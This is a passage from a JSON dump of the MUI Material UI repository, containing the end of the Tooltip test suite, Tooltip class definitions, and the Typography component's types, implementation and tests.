},\n          }}\n        >\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      fireEvent.mouseOver(screen.getByRole('button'));\n      clock.tick(100);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      fireEvent.mouseLeave(screen.getByRole('button'));\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      fireEvent.mouseOver(screen.getByRole('tooltip'));\n      clock.tick(111 + 10);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n    });\n\n    it('when `true` should not keep the overlay open if the popper element is hovered', () => {\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          enterDelay={100}\n          leaveDelay={111}\n          slotProps={{\n            transition: { timeout: 10 },\n          }}\n        >\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      fireEvent.mouseOver(screen.getByRole('button'));\n      clock.tick(100);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      fireEvent.mouseLeave(screen.getByRole('button'));\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n\n      fireEvent.mouseOver(screen.getByRole('tooltip'));\n      clock.tick(111 + 10);\n\n      expect(screen.getByRole('tooltip')).not.toBeVisible();\n    });\n  });\n\n  describe('prop: slotProps.popper', () => {\n    it('should pass slotProps to Popper Component', () => {\n      render(\n        <Tooltip title=\"Hello World\" open slotProps={{ popper: { 'data-testid': 'popper' } }}>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.getByTestId('popper')).not.to.equal(null);\n    });\n\n    it('should merge popperOptions with arrow modifier', () => {\n      const popperRef = React.createRef();\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          open\n          arrow\n          slotProps={{\n            popper: {\n              popperRef,\n              popperOptions: {\n                modifiers: [\n                  {\n                    name: 'arrow',\n                    options: {\n                      padding: 8,\n                    },\n                  },\n                ],\n              },\n            },\n          }}\n        >\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      const appliedArrowModifier = popperRef.current.state.orderedModifiers.find(\n        (modifier) => modifier.name === 'arrow',\n      );\n\n      expect(appliedArrowModifier).not.to.equal(undefined);\n      expect(appliedArrowModifier.enabled).to.equal(true);\n      expect(appliedArrowModifier.options.padding).to.equal(8);\n    });\n\n    it('should merge popperOptions with custom modifier', () => {\n      const popperRef = React.createRef();\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          open\n          arrow\n          slotProps={{\n            popper: {\n              popperRef,\n              popperOptions: {\n                modifiers: [\n                  {\n                    name: 'foo',\n                    enabled: true,\n                    phase: 'main',\n                    fn: () => {},\n                  },\n                ],\n              },\n            },\n          }}\n        >\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      const appliedComputeStylesModifier = popperRef.current.state.orderedModifiers.find(\n        (modifier) => modifier.name === 'foo',\n      );\n\n      expect(appliedComputeStylesModifier).not.to.equal(undefined);\n    });\n  });\n\n  describe('prop forwarding', () => {\n    it('should forward props to the child element', () => {\n      render(\n        <Tooltip title=\"Hello World\" className=\"foo\">\n          <h1 className=\"bar\">H1</h1>\n        </Tooltip>,\n      );\n\n      expect(screen.getByText('H1')).to.have.class('foo');\n      expect(screen.getByText('H1')).to.have.class('bar');\n    });\n\n    it('should respect the props priority', () => {\n      render(\n        <Tooltip title=\"Hello World\" name=\"tooltip\">\n          <h1 name=\"heading\">H1</h1>\n        </Tooltip>,\n      );\n\n      expect(screen.getByText('H1')).to.have.attribute('name', 'heading');\n    });\n  });\n\n  describe.skipIf(isJsdom())('focus', () => {\n    it('ignores base focus', async () => {\n      render(\n        <Tooltip enterDelay={0} title=\"Some information\">\n          <button />\n        </Tooltip>,\n      );\n      simulatePointerDevice();\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n\n      await act(async () => {\n        screen.getByRole('button').focus();\n      });\n\n      if (programmaticFocusTriggersFocusVisible()) {\n        expect(screen.queryByRole('tooltip')).not.to.equal(null);\n      } else {\n        expect(screen.queryByRole('tooltip')).to.equal(null);\n      }\n    });\n\n    it('opens on focus-visible', async () => {\n      const eventLog = [];\n      render(\n        <Tooltip enterDelay={0} onOpen={() => eventLog.push('open')} title=\"Some information\">\n          <button onFocus={() => eventLog.push('focus')} />\n        </Tooltip>,\n      );\n      simulatePointerDevice();\n\n      expect(screen.queryByRole('tooltip')).to.equal(null);\n\n      await focusVisible(screen.getByRole('button'));\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n      expect(eventLog).to.deep.equal(['focus', 'open']);\n    });\n\n    it('closes on blur', async () => {\n      const eventLog = [];\n      const transitionTimeout = 0;\n      render(\n        <Tooltip\n          enterDelay={0}\n          leaveDelay={0}\n          onClose={() => eventLog.push('close')}\n          open\n          title=\"Some information\"\n          slotProps={{\n            transition: { timeout: transitionTimeout },\n          }}\n        >\n          <button onBlur={() => eventLog.push('blur')} />\n        </Tooltip>,\n      );\n      const button = screen.getByRole('button');\n\n      await act(async () => {\n        button.focus();\n      });\n      await act(async () => {\n        button.blur();\n      });\n      clock.tick(transitionTimeout);\n\n      expect(screen.getByRole('tooltip')).toBeVisible();\n      expect(eventLog).to.deep.equal(['blur', 'close']);\n    });\n\n    // https://github.com/mui/material-ui/issues/19883\n    it('should not prevent event handlers of children', async () => {\n      const handleFocus = spy((event) => event.currentTarget);\n      // Tooltip should not assume that event handlers of children are attached to the\n      // outermost host\n      const TextField = React.forwardRef(function TextField(props, ref) {\n        const { onFocus, ...other } = props;\n        return (\n          <div ref={ref} {...other}>\n            <input type=\"text\" onFocus={onFocus} />\n          </div>\n        );\n      });\n      render(\n        <Tooltip open title=\"test\">\n          <TextField onFocus={handleFocus} variant=\"standard\" />\n        </Tooltip>,\n      );\n      const input = screen.getByRole('textbox');\n\n      await act(async () => {\n        input.focus();\n      });\n\n      // return value is event.currentTarget\n      expect(handleFocus.callCount).to.equal(1);\n      expect(handleFocus.returned(input)).to.equal(true);\n    });\n\n    // https://github.com/mui/mui-x/issues/12248\n    it('should support event handlers with extra parameters', async () => {\n      const handleFocus = spy((event, extra) => extra);\n      const handleBlur = spy((event, ...params) => params);\n\n      const TextField = React.forwardRef(function TextField(props, ref) {\n        const { onFocus, onBlur, ...other } = props;\n        return (\n          <div ref={ref} {...other}>\n            <input\n              type=\"text\"\n              onFocus={(event) => onFocus(event, 'focus')}\n              onBlur={(event) => onBlur(event, 'blur', 1)}\n            />\n          </div>\n        );\n      });\n      render(\n        <Tooltip open title=\"test\">\n          <TextField onFocus={handleFocus} onBlur={handleBlur} variant=\"standard\" />\n        </Tooltip>,\n      );\n      const input = screen.getByRole('textbox');\n\n      await act(async () => {\n        input.focus();\n      });\n\n      expect(handleFocus.callCount).to.equal(1);\n      expect(handleFocus.returnValues[0]).to.equal('focus');\n\n      await act(async () => {\n        input.blur();\n      });\n\n      expect(handleBlur.callCount).to.equal(1);\n      expect(handleBlur.returnValues[0]).to.deep.equal(['blur', 1]);\n    });\n  });\n\n  describe('warnings', () => {\n    it('should warn when switching between uncontrolled to controlled', () => {\n      const { setProps } = render(\n        <Tooltip title=\"Hello World\">\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n\n      expect(() => {\n        setProps({ open: true });\n      }).toErrorDev(\n        'MUI: A component is changing the uncontrolled open state of Tooltip to be controlled.',\n      );\n    });\n\n    it('should warn when not forwarding props', () => {\n      const BrokenButton = React.forwardRef((props, ref) => <button ref={ref}>Hello World</button>);\n\n      expect(() => {\n        render(\n          <Tooltip title=\"Hello World\">\n            <BrokenButton />\n          </Tooltip>,\n        );\n      }).toErrorDev(\n        'The `children` component of the Tooltip is not forwarding its props correctly.',\n      );\n    });\n\n    // React 19 removed prop types support\n    it.skipIf(reactMajor >= 19)('should warn when children is a string', function test() {\n      expect(() => {\n        render(<Tooltip title=\"Hello World\">Hello World</Tooltip>);\n      }).toErrorDev('Invalid prop `children` of type `string` supplied');\n    });\n  });\n\n  it('should use the same Popper.js instance between two renders', () => {\n    const popperRef = React.createRef();\n    const { forceUpdate } = render(\n      <Tooltip\n        title=\"Hello World\"\n        open\n        slotProps={{\n          popper: {\n            popperRef,\n          },\n        }}\n      >\n        <button id=\"testChild\" type=\"submit\">\n          Hello World\n        </button>\n      </Tooltip>,\n    );\n    const firstPopperInstance = popperRef.current;\n    forceUpdate();\n    expect(firstPopperInstance).to.equal(popperRef.current);\n  });\n\n  describe('prop: followCursor', () => {\n    it('should use the position of the mouse', async function test() {\n      const x = 50;\n      const y = 10;\n\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          placement=\"bottom-end\"\n          open\n          followCursor\n          slotProps={{\n            popper: { 'data-testid': 'popper' },\n          }}\n        >\n          <button data-testid=\"target\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      const tooltipElement = screen.getByTestId('popper');\n      const targetElement = screen.getByTestId('target');\n\n      fireEvent.mouseMove(targetElement, {\n        clientX: x,\n        clientY: y,\n      });\n\n      // The `placement` of the Popper changed due to the previous action.\n      // Updates to the Popper are scheduled in a microtask (at least in the implementation of `@popperjs/core`) so we need to flush that microtask by awaiting a Promise.\n      await act(async () => {\n        await Promise.resolve();\n      });\n\n      expect(tooltipElement).toBeVisible();\n\n      // Layer acceleration can disable subpixel rendering which causes slightly\n      // blurry text on low PPI displays, so we want to use 2D transforms\n      // instead\n      if ((window.devicePixelRatio || 1) < 2) {\n        expect(tooltipElement).to.have.toHaveInlineStyle({\n          transform: `translate(${x}px, ${y}px)`,\n        });\n      } else {\n        expect(tooltipElement).to.have.toHaveInlineStyle({\n          transform: `translate3d(${x}px, ${y}px, 0px)`,\n        });\n      }\n    });\n  });\n\n  describe('prop: slots', () => {\n    it('can render a different Popper component', () => {\n      function CustomPopper() {\n        return <div data-testid=\"CustomPopper\" />;\n      }\n      render(\n        <Tooltip title=\"Hello World\" open slots={{ popper: CustomPopper }}>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.getByTestId('CustomPopper')).toBeVisible();\n    });\n\n    it('can render a different Tooltip component', () => {\n      const CustomTooltip = React.forwardRef((props, ref) => (\n        <div data-testid=\"CustomTooltip\" ref={ref} />\n      ));\n      render(\n        <Tooltip title=\"Hello World\" open slots={{ tooltip: CustomTooltip }}>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.getByTestId('CustomTooltip')).toBeVisible();\n    });\n\n    it('can render a different Arrow component', () => {\n      const CustomArrow = React.forwardRef((props, ref) => (\n        <div data-testid=\"CustomArrow\" ref={ref} />\n      ));\n      render(\n        <Tooltip title=\"Hello World\" open arrow slots={{ arrow: CustomArrow }}>\n          <button id=\"testChild\" type=\"submit\">\n            Hello World\n          </button>\n        </Tooltip>,\n      );\n      expect(screen.getByTestId('CustomArrow')).toBeVisible();\n    });\n  });\n\n  describe('user-select state', () => {\n    let prevWebkitUserSelect;\n\n    beforeEach(() => {\n      prevWebkitUserSelect = document.body.style.WebkitUserSelect;\n    });\n\n    afterEach(() => {\n      document.body.style.WebkitUserSelect = prevWebkitUserSelect;\n    });\n\n    it('prevents text-selection during touch-longpress', () => {\n      const enterTouchDelay = 700;\n      const enterDelay = 100;\n      const leaveTouchDelay = 1500;\n      const transitionTimeout = 10;\n      render(\n        <Tooltip\n          enterTouchDelay={enterTouchDelay}\n          enterDelay={enterDelay}\n          leaveTouchDelay={leaveTouchDelay}\n          title=\"Hello World\"\n          slotProps={{\n            transition: { timeout: transitionTimeout },\n          }}\n        >\n          <button type=\"submit\">Hello World</button>\n        </Tooltip>,\n      );\n      document.body.style.WebkitUserSelect = 'text';\n\n      fireEvent.touchStart(screen.getByRole('button'));\n\n      expect(document.body.style.WebkitUserSelect).to.equal('none');\n\n      clock.tick(enterTouchDelay + enterDelay);\n      expect(document.body.style.WebkitUserSelect).to.equal('text');\n    });\n\n    it('ensures text-selection is reset after single press', () => {\n      render(\n        <Tooltip title=\"Hello World\">\n          <button type=\"submit\">Hello World</button>\n        </Tooltip>,\n      );\n      document.body.style.WebkitUserSelect = 'text';\n\n      fireEvent.touchStart(screen.getByRole('button'));\n      expect(document.body.style.WebkitUserSelect).to.equal('none');\n\n      fireEvent.touchEnd(screen.getByRole('button'));\n      expect(document.body.style.WebkitUserSelect).to.equal('text');\n    });\n\n    it('restores user-select when unmounted during longpress', () => {\n      const enterTouchDelay = 700;\n      const enterDelay = 100;\n      const leaveTouchDelay = 1500;\n      const transitionTimeout = 10;\n      const view = render(\n        <Tooltip\n          enterTouchDelay={enterTouchDelay}\n          enterDelay={enterDelay}\n          leaveTouchDelay={leaveTouchDelay}\n          title=\"Hello World\"\n          slotProps={{\n            transition: { timeout: transitionTimeout },\n          }}\n        >\n          <button type=\"submit\">Hello World</button>\n        </Tooltip>,\n      );\n\n      document.body.style.WebkitUserSelect = 'text';\n      // Let updates flush before unmounting\n      fireEvent.touchStart(screen.getByRole('button'));\n      view.unmount();\n\n      expect(document.body.style.WebkitUserSelect).to.equal('text');\n    });\n  });\n\n  describe('className', () => {\n    it('should allow className from slotProps.popper', () => {\n      render(\n        <Tooltip\n          title=\"Hello World\"\n          open\n          slotProps={{\n            popper: { 'data-testid': 'popper', className: 'my-class' },\n          }}\n        >\n          <button type=\"submit\">Hello World</button>\n        </Tooltip>,\n      );\n\n      expect(screen.getByTestId('popper')).to.have.class('my-class');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/index.d.ts",
    "content": "export { default } from './Tooltip';\nexport * from './Tooltip';\n\nexport { default as tooltipClasses } from './tooltipClasses';\nexport * from './tooltipClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/index.js",
    "content": "export { default } from './Tooltip';\n\nexport { default as tooltipClasses } from './tooltipClasses';\nexport * from './tooltipClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Tooltip/tooltipClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TooltipClasses {\n  /** Styles applied to the Popper component. */\n  popper: string;\n  /** Styles applied to the Popper component unless `disableInteractive={true}`. */\n  popperInteractive: string;\n  /** Styles applied to the Popper component if `arrow={true}`. */\n  popperArrow: string;\n  /** Styles applied to the Popper component unless the tooltip is open. */\n  popperClose: string;\n  /** Styles applied to the tooltip (label wrapper) element. */\n  tooltip: string;\n  /** Styles applied to the tooltip (label wrapper) element if `arrow={true}`. */\n  tooltipArrow: string;\n  /** Styles applied to the arrow element. */\n  arrow: string;\n  /** Styles applied to the tooltip (label wrapper) element if the tooltip is opened by touch. */\n  touch: string;\n  /** Styles applied to the tooltip (label wrapper) element if `placement` contains \"left\". */\n  tooltipPlacementLeft: string;\n  /** Styles applied to the tooltip (label wrapper) element if `placement` contains \"right\". */\n  tooltipPlacementRight: string;\n  /** Styles applied to the tooltip (label wrapper) element if `placement` contains \"top\". */\n  tooltipPlacementTop: string;\n  /** Styles applied to the tooltip (label wrapper) element if `placement` contains \"bottom\". */\n  tooltipPlacementBottom: string;\n}\n\nexport type TooltipClassKey = keyof TooltipClasses;\n\nexport function getTooltipUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTooltip', slot);\n}\n\nconst tooltipClasses: TooltipClasses = generateUtilityClasses('MuiTooltip', [\n  'popper',\n  'popperInteractive',\n  'popperArrow',\n  'popperClose',\n  'tooltip',\n  'tooltipArrow',\n  'touch',\n  'tooltipPlacementLeft',\n  'tooltipPlacementRight',\n  'tooltipPlacementTop',\n  'tooltipPlacementBottom',\n  'arrow',\n]);\n\nexport default tooltipClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Typography/Typography.d.ts",
    "content": "import * as React from 'react';\nimport { OverridableStringUnion } from '@mui/types';\nimport { SxProps } from '@mui/system';\nimport { Theme, TypeText } from '../styles';\nimport { OverrideProps, OverridableComponent } from '../OverridableComponent';\nimport { TypographyVariant } from '../styles/createTypography';\nimport { TypographyClasses } from './typographyClasses';\n\nexport interface TypographyPropsVariantOverrides {}\n\nexport interface TypographyPropsColorOverrides {}\n\nexport interface TypographyOwnProps {\n  /**\n   * Set the text-align on the component.\n   * @default 'inherit'\n   */\n  align?: 'inherit' | 'left' | 'center' | 'right' | 'justify' | undefined;\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TypographyClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color?:\n    | OverridableStringUnion<\n        | 'primary'\n        | 'secondary'\n        | 'success'\n        | 'error'\n        | 'info'\n        | 'warning'\n        | `text${Capitalize<keyof TypeText>}`,\n        TypographyPropsColorOverrides\n      >\n    | (string & {})\n    | undefined;\n  /**\n   * If `true`, the text will have a bottom margin.\n   * @default false\n   */\n  gutterBottom?: boolean | undefined;\n  /**\n   * If `true`, the text will not wrap, but instead will truncate with a text overflow ellipsis.\n   *\n   * Note that text overflow can only happen with block or inline-block level elements\n   * (the element needs to have a width in order to overflow).\n   * @default false\n   */\n  noWrap?: boolean | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * Applies the theme typography styles.\n   * @default 'body1'\n   */\n  variant?:\n    | OverridableStringUnion<TypographyVariant | 'inherit', TypographyPropsVariantOverrides>\n    | undefined;\n  /**\n   * The component maps the variant prop to a range of different HTML element types.\n   * For instance, subtitle1 to `<h6>`.\n   * If you wish to change that mapping, you can provide your own.\n   * Alternatively, you can use the `component` prop.\n   * @default {\n   *   h1: 'h1',\n   *   h2: 'h2',\n   *   h3: 'h3',\n   *   h4: 'h4',\n   *   h5: 'h5',\n   *   h6: 'h6',\n   *   subtitle1: 'h6',\n   *   subtitle2: 'h6',\n   *   body1: 'p',\n   *   body2: 'p',\n   *   inherit: 'p',\n   * }\n   */\n  variantMapping?:\n    | Partial<\n        Record<\n          OverridableStringUnion<TypographyVariant | 'inherit', TypographyPropsVariantOverrides>,\n          string\n        >\n      >\n    | undefined;\n}\n\nexport interface TypographyTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'span',\n> {\n  props: AdditionalProps & TypographyOwnProps;\n  defaultComponent: RootComponent;\n}\n\n/**\n *\n * Demos:\n *\n * - [Breadcrumbs](https://next.mui.com/material-ui/react-breadcrumbs/)\n * - [Menubar](https://next.mui.com/material-ui/react-menubar/)\n * - [Typography](https://next.mui.com/material-ui/react-typography/)\n *\n * API:\n *\n * - [Typography API](https://next.mui.com/material-ui/api/typography/)\n */\ndeclare const Typography: OverridableComponent<TypographyTypeMap>;\n\nexport type TypographyProps<\n  RootComponent extends React.ElementType = TypographyTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TypographyTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Typography;\n"
  },
  {
    "path": "packages/mui-material/src/Typography/Typography.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport { getTypographyUtilityClass } from './typographyClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { align, gutterBottom, noWrap, variant, classes } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      variant,\n      ownerState.align !== 'inherit' && `align${capitalize(align)}`,\n      gutterBottom && 'gutterBottom',\n      noWrap && 'noWrap',\n    ],\n  };\n\n  return composeClasses(slots, getTypographyUtilityClass, classes);\n};\n\nexport const TypographyRoot = styled('span', {\n  name: 'MuiTypography',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.variant && styles[ownerState.variant],\n      ownerState.align !== 'inherit' && styles[`align${capitalize(ownerState.align)}`],\n      ownerState.noWrap && styles.noWrap,\n      ownerState.gutterBottom && styles.gutterBottom,\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    margin: 0,\n    variants: [\n      {\n        props: {\n          variant: 'inherit',\n        },\n        style: {\n          // Some elements, like <button> on Chrome have default font that doesn't inherit, reset this.\n          font: 'inherit',\n          lineHeight: 'inherit',\n          letterSpacing: 'inherit',\n        },\n      },\n      ...Object.entries(theme.typography)\n        .filter(([variant, value]) => variant !== 'inherit' && value && typeof value === 'object')\n        .map(([variant, value]) => ({\n          props: { variant },\n          style: value,\n        })),\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter())\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            color: (theme.vars || theme).palette[color].main,\n          },\n        })),\n      ...Object.entries(theme.palette?.text || {})\n        .filter(([, value]) => typeof value === 'string')\n        .map(([color]) => ({\n          props: { color: `text${capitalize(color)}` },\n          style: {\n            color: (theme.vars || theme).palette.text[color],\n          },\n        })),\n      {\n        props: ({ ownerState }) => ownerState.align !== 'inherit',\n        style: {\n          textAlign: 'var(--Typography-textAlign)',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.noWrap,\n        style: {\n          overflow: 'hidden',\n          textOverflow: 'ellipsis',\n          whiteSpace: 'nowrap',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.gutterBottom,\n        style: {\n          marginBottom: '0.35em',\n        },\n      },\n    ],\n  })),\n);\n\nconst defaultVariantMapping = {\n  h1: 'h1',\n  h2: 'h2',\n  h3: 'h3',\n  h4: 'h4',\n  h5: 'h5',\n  h6: 'h6',\n  subtitle1: 'h6',\n  subtitle2: 'h6',\n  body1: 'p',\n  body2: 'p',\n  inherit: 'p',\n};\n\nconst Typography = React.forwardRef(function Typography(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTypography' });\n\n  const {\n    color,\n    align = 'inherit',\n    className,\n    component,\n    gutterBottom = false,\n    noWrap = false,\n    variant = 'body1',\n    variantMapping = defaultVariantMapping,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    align,\n    color,\n    className,\n    component,\n    gutterBottom,\n    noWrap,\n    variant,\n    variantMapping,\n  };\n\n  const Component =\n    component || variantMapping[variant] || defaultVariantMapping[variant] || 'span';\n\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <TypographyRoot\n      as={Component}\n      ref={ref}\n      className={clsx(classes.root, className)}\n      {...other}\n      ownerState={ownerState}\n      style={{\n        ...(align !== 'inherit' && { '--Typography-textAlign': align }),\n        ...other.style,\n      }}\n    />\n  );\n});\n\nTypography.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * Set the text-align on the component.\n   * @default 'inherit'\n   */\n  align: PropTypes.oneOf(['center', 'inherit', 'justify', 'left', 'right']),\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'primary',\n      'secondary',\n      'success',\n      'error',\n      'info',\n      'warning',\n      'textPrimary',\n      'textSecondary',\n      'textDisabled',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * If `true`, the text will have a bottom margin.\n   * @default false\n   */\n  gutterBottom: PropTypes.bool,\n  /**\n   * If `true`, the text will not wrap, but instead will truncate with a text overflow ellipsis.\n   *\n   * Note that text overflow can only happen with block or inline-block level elements\n   * (the element needs to have a width in order to overflow).\n   * @default false\n   */\n  noWrap: PropTypes.bool,\n  /**\n   * @ignore\n   */\n  style: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * Applies the theme typography styles.\n   * @default 'body1'\n   */\n  variant: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf([\n      'body1',\n      'body2',\n      'button',\n      'caption',\n      'h1',\n      'h2',\n      'h3',\n      'h4',\n      'h5',\n      'h6',\n      'inherit',\n      'overline',\n      'subtitle1',\n      'subtitle2',\n    ]),\n    PropTypes.string,\n  ]),\n  /**\n   * The component maps the variant prop to a range of different HTML element types.\n   * For instance, subtitle1 to `<h6>`.\n   * If you wish to change that mapping, you can provide your own.\n   * Alternatively, you can use the `component` prop.\n   * @default {\n   *   h1: 'h1',\n   *   h2: 'h2',\n   *   h3: 'h3',\n   *   h4: 'h4',\n   *   h5: 'h5',\n   *   h6: 'h6',\n   *   subtitle1: 'h6',\n   *   subtitle2: 'h6',\n   *   body1: 'p',\n   *   body2: 'p',\n   *   inherit: 'p',\n   * }\n   */\n  variantMapping: PropTypes /* @typescript-to-proptypes-ignore */.object,\n};\n\nexport default Typography;\n"
  },
  {
    "path": "packages/mui-material/src/Typography/Typography.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Typography, { typographyClasses as classes } from '@mui/material/Typography';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Typography />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Typography />, () => ({\n    classes,\n    inheritComponent: 'p',\n    render,\n    refInstanceof: window.HTMLParagraphElement,\n    muiName: 'MuiTypography',\n    testVariantProps: { variant: 'dot' },\n    testStateOverrides: { prop: 'variant', value: 'h2', styleKey: 'h2' },\n  }));\n\n  it('should render the text', () => {\n    const { container } = render(<Typography>Hello</Typography>);\n    expect(container.firstChild).to.have.text('Hello');\n  });\n\n  it('should render body1 root by default', () => {\n    const { container } = render(<Typography>Hello</Typography>);\n\n    expect(container.firstChild).to.have.class(classes.body1);\n    expect(container.firstChild).to.have.class(classes.root);\n  });\n\n  it('should center text', () => {\n    const { container } = render(\n      <Typography align=\"center\" className=\"woofTypography\">\n        Hello\n      </Typography>,\n    );\n\n    expect(container.firstChild).to.have.class(classes.alignCenter);\n  });\n  [\n    'h1',\n    'h2',\n    'h3',\n    'h4',\n    'h5',\n    'h6',\n    'subtitle1',\n    'body2',\n    'body1',\n    'caption',\n    'button',\n    'overline',\n  ].forEach((variant) => {\n    it(`should render ${variant} text`, () => {\n      // @ts-ignore literal/tuple type widening\n      const { container } = render(<Typography variant={variant}>Hello</Typography>);\n\n      expect(classes).to.have.property(variant);\n\n      // @ts-ignore\n      expect(container.firstChild).to.have.class(classes[variant]);\n    });\n  });\n\n  describe('headline', () => {\n    it('should render a span by default', () => {\n      render(<Typography variant=\"button\">Hello</Typography>);\n\n      expect(screen.getByText(/hello/i).tagName).to.equal('SPAN');\n    });\n\n    it('should render the mapped headline', () => {\n      render(<Typography variant=\"h6\">Hello</Typography>);\n\n      expect(screen.getByText(/hello/i).tagName).to.equal('H6');\n    });\n\n    it('should render a h1', () => {\n      render(<Typography component=\"h1\">Hello</Typography>);\n\n      expect(screen.getByText(/hello/i).tagName).to.equal('H1');\n    });\n  });\n\n  describe('prop: variantMapping', () => {\n    it('should work with a single value', () => {\n      render(\n        <Typography variant=\"h6\" variantMapping={{ h6: 'aside' }}>\n          Hello\n        </Typography>,\n      );\n\n      expect(screen.getByText(/hello/i).tagName).to.equal('ASIDE');\n    });\n\n    it('should work event without the full mapping', () => {\n      render(\n        <Typography variant=\"h6\" variantMapping={{}}>\n          Hello\n        </Typography>,\n      );\n\n      expect(screen.getByText(/hello/i).tagName).to.equal('H6');\n    });\n  });\n\n  it('applies system properties via the sx prop', () => {\n    const { container } = render(<Typography sx={{ mt: 2, marginRight: 5, mb: 2 }} />);\n\n    // @ts-ignore issue with typings on `toHaveComputedStyle`\n    expect(container.firstChild).toHaveComputedStyle({\n      marginTop: '16px',\n      marginRight: '40px',\n      marginBottom: '16px',\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Typography/index.d.ts",
    "content": "export { default } from './Typography';\nexport * from './Typography';\n\nexport { default as typographyClasses } from './typographyClasses';\nexport * from './typographyClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Typography/index.js",
    "content": "export { default } from './Typography';\n\nexport { default as typographyClasses } from './typographyClasses';\nexport * from './typographyClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Typography/typography.spec.tsx",
